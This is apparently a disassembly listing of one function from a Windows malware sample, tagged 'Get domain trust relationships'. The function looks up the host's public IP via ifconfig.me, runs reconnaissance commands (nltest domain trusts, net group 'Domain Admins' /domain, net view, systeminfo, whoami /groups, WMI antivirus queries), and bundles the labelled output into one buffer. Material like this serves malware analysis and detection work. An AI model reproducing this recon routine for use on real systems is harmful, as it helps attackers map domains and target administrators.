Function at 0x140001810
Capabilities:
Get domain trust relationships

Disassembly:
push rbp
push rbx
push rsi
mov rbp, rsp
sub rsp, 0x30
mov rsi, rcx
mov dword [rbp + 0x28], 0
mov ecx, 0x60
call fcn.1400039e0
mov qword [rbp + 0x38], rax
mov rbx, rax
test rax, rax
jne 0x140001845
xor eax, eax
add rsp, 0x30
pop rsi
pop rbx
pop rbp
ret
mov edx, 0x60
mov rcx, rbx
call fcn.140003a90
mov r9, rbx
lea rdx, [0x1400040c9]
xor r8d, r8d
lea rcx, str.https:__ifconfig.me
call section..text
lea r8, [rbp + 0x28]
lea rdx, str._c_ipconfig__all
lea rcx, str.C:WindowsSystem32cmd.exe
call fcn.140001410
lea r8, [rbp + 0x28]
mov qword [rbx + 8], rax
lea rdx, str._c_systeminfo
lea rcx, str.C:WindowsSystem32cmd.exe
call fcn.140001410
lea r8, [rbp + 0x28]
mov qword [rbx + 0x10], rax
lea rdx, str._c_nltest__domain_trusts
lea rcx, str.C:WindowsSystem32cmd.exe
call fcn.140001410
lea r8, [rbp + 0x28]
mov qword [rbx + 0x18], rax
lea rdx, str._c_nltest__domain_trusts__all_trusts
lea rcx, str.C:WindowsSystem32cmd.exe
call fcn.140001410
lea r8, [rbp + 0x28]
mov qword [rbx + 0x20], rax
lea rdx, str._c_net_view__all__domain
lea rcx, str.C:WindowsSystem32cmd.exe
call fcn.140001410
lea r8, [rbp + 0x28]
mov qword [rbx + 0x28], rax
lea rdx, str._c_net_view__all
lea rcx, str.C:WindowsSystem32cmd.exe
call fcn.140001410
lea r8, [rbp + 0x28]
mov qword [rbx + 0x30], rax
lea rdx, str._c_net_group__Domain_Admins___domain
lea rcx, str.C:WindowsSystem32cmd.exe
call fcn.140001410
lea r8, [rbp + 0x28]
mov qword [rbx + 0x38], rax
lea rdx, str._Node:localhost__Namespace:_rootSecurityCenter2_Path_AntiVirusProduct_Get___Format:List
lea rcx, str.C:WindowsSystem32wbemwmic.exe
call fcn.140001410
lea r8, [rbp + 0x28]
mov qword [rbx + 0x40], rax
lea rdx, str._c_net_config_workstation
lea rcx, str.C:WindowsSystem32cmd.exe
call fcn.140001410
lea r8, [rbp + 0x28]
mov qword [rbx + 0x48], rax
lea rdx, str._c_wmic.exe__node:localhost__namespace:_rootSecurityCenter2_path_AntiVirusProduct_Get_DisplayName__findstr__V__B__C:displayName__echo_No_Antivirus_installed
lea rcx, str.C:WindowsSystem32cmd.exe
call fcn.140001410
lea r8, [rbp + 0x28]
mov qword [rbx + 0x50], rax
lea rdx, str._c_whoami__groups
lea rcx, str.C:WindowsSystem32cmd.exe
call fcn.140001410
mov ecx, 1
mov qword [rbx + 0x58], rax
call fcn.1400039e0
mov qword [rbp + 0x30], rax
test rax, rax
je 0x14000183b
mov byte [rax], 0
mov rcx, qword [rbx]
mov qword [rsp + 0x50], rdi
test rcx, rcx
je 0x1400019c5
call fcn.140003ca0
mov rcx, qword [rbx]
jmp 0x1400019dd
movups xmm0, xmmword [str.error_detecting]
lea rcx, [rbp - 0x10]
movups xmmword [rbp - 0x10], xmm0
call fcn.140003ca0
lea rcx, [rbp - 0x10]
mov edx, eax
call fcn.140001d80
mov rdi, rax
test rax, rax
je 0x140001a10
lea rdx, str.realip
lea rcx, [rbp + 0x30]
call fcn.140003c00
mov rdx, rdi
lea rcx, [rbp + 0x30]
call fcn.140003c00
mov rcx, rdi
call fcn.140002060
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x140001a55
call fcn.140003ca0
mov rcx, qword [rbx + 8]
mov edx, eax
call fcn.140001d80
mov rdi, rax
test rax, rax
je 0x140001a55
lea rdx, str.ipconfig
lea rcx, [rbp + 0x30]
call fcn.140003c00
mov rdx, rdi
lea rcx, [rbp + 0x30]
call fcn.140003c00
mov rcx, rdi
call fcn.140002060
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x140001a9a
call fcn.140003ca0
mov rcx, qword [rbx + 0x10]
mov edx, eax
call fcn.140001d80
mov rdi, rax
test rax, rax
je 0x140001a9a
lea rdx, str.systeminfo
lea rcx, [rbp + 0x30]
call fcn.140003c00
mov rdx, rdi
lea rcx, [rbp + 0x30]
call fcn.140003c00
mov rcx, rdi
call fcn.140002060
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x140001adf
call fcn.140003ca0
mov rcx, qword [rbx + 0x18]
mov edx, eax
call fcn.140001d80
mov rdi, rax
test rax, rax
je 0x140001adf
lea rdx, str.domain_trusts
lea rcx, [rbp + 0x30]
call fcn.140003c00
mov rdx, rdi
lea rcx, [rbp + 0x30]
call fcn.140003c00
mov rcx, rdi
call fcn.140002060
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x140001b24
call fcn.140003ca0
mov rcx, qword [rbx + 0x20]
mov edx, eax
call fcn.140001d80
mov rdi, rax
test rax, rax
je 0x140001b24
lea rdx, str.domain_trusts_all
lea rcx, [rbp + 0x30]
call fcn.140003c00
mov rdx, rdi
lea rcx, [rbp + 0x30]
call fcn.140003c00
mov rcx, rdi
call fcn.140002060
mov rcx, qword [rbx + 0x28]
test rcx, rcx
je 0x140001b69
call fcn.140003ca0
mov rcx, qword [rbx + 0x28]
mov edx, eax
call fcn.140001d80
mov rdi, rax
test rax, rax
je 0x140001b69
lea rdx, str.net_view_all_domain
lea rcx, [rbp + 0x30]
call fcn.140003c00
mov rdx, rdi
lea rcx, [rbp + 0x30]
call fcn.140003c00
mov rcx, rdi
call fcn.140002060
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x140001bae
call fcn.140003ca0
mov rcx, qword [rbx + 0x30]
mov edx, eax
call fcn.140001d80
mov rdi, rax
test rax, rax
je 0x140001bae
lea rdx, str.net_view_all
lea rcx, [rbp + 0x30]
call fcn.140003c00
mov rdx, rdi
lea rcx, [rbp + 0x30]
call fcn.140003c00
mov rcx, rdi
call fcn.140002060
mov rcx, qword [rbx + 0x38]
test rcx, rcx
je 0x140001bf3
call fcn.140003ca0
mov rcx, qword [rbx + 0x38]
mov edx, eax
call fcn.140001d80
mov rdi, rax
test rax, rax
je 0x140001bf3
lea rdx, str.net_group
lea rcx, [rbp + 0x30]
call fcn.140003c00
mov rdx, rdi
lea rcx, [rbp + 0x30]
call fcn.140003c00
mov rcx, rdi
call fcn.140002060
mov rcx, qword [rbx + 0x40]
test rcx, rcx
je 0x140001c38
call fcn.140003ca0
mov rcx, qword [rbx + 0x40]
mov edx, eax
call fcn.140001d80
mov rdi, rax
test rax, rax
je 0x140001c38
lea rdx, str.wmic
lea rcx, [rbp + 0x30]
call fcn.140003c00
mov rdx, rdi
lea rcx, [rbp + 0x30]
call fcn.140003c00
mov rcx, rdi
call fcn.140002060
mov rcx, qword [rbx + 0x48]
test rcx, rcx
je 0x140001c7d
call fcn.140003ca0
mov rcx, qword [rbx + 0x48]
mov edx, eax
call fcn.140001d80
mov rdi, rax
test rax, rax
je 0x140001c7d
lea rdx, str.net_config_ws
lea rcx, [rbp + 0x30]
call fcn.140003c00
mov rdx, rdi
lea rcx, [rbp + 0x30]
call fcn.140003c00
mov rcx, rdi
call fcn.140002060
mov rcx, qword [rbx + 0x50]
test rcx, rcx
je 0x140001cc2
call fcn.140003ca0
mov rcx, qword [rbx + 0x50]
mov edx, eax
call fcn.140001d80
mov rdi, rax
test rax, rax
je 0x140001cc2
lea rdx, str.net_wmic_av
lea rcx, [rbp + 0x30]
call fcn.140003c00
mov rdx, rdi
lea rcx, [rbp + 0x30]
call fcn.140003c00
mov rcx, rdi
call fcn.140002060
mov rcx, qword [rbx + 0x58]
mov rdi, qword [rsp + 0x50]
test rcx, rcx
je 0x140001d0c
call fcn.140003ca0
mov rcx, qword [rbx + 0x58]
mov edx, eax
call fcn.140001d80
mov rbx, rax
test rax, rax
je 0x140001d0c
lea rdx, str.whoami_group
lea rcx, [rbp + 0x30]
call fcn.140003c00
mov rdx, rbx
lea rcx, [rbp + 0x30]
call fcn.140003c00
mov rcx, rbx
call fcn.140002060
lea rcx, [rbp + 0x38]
call fcn.140001710
test rsi, rsi
je 0x140001d21
mov rcx, qword [rbp + 0x30]
mov qword [rsi], rcx
mov eax, 1
add rsp, 0x30
pop rsi
pop rbx
pop rbp
ret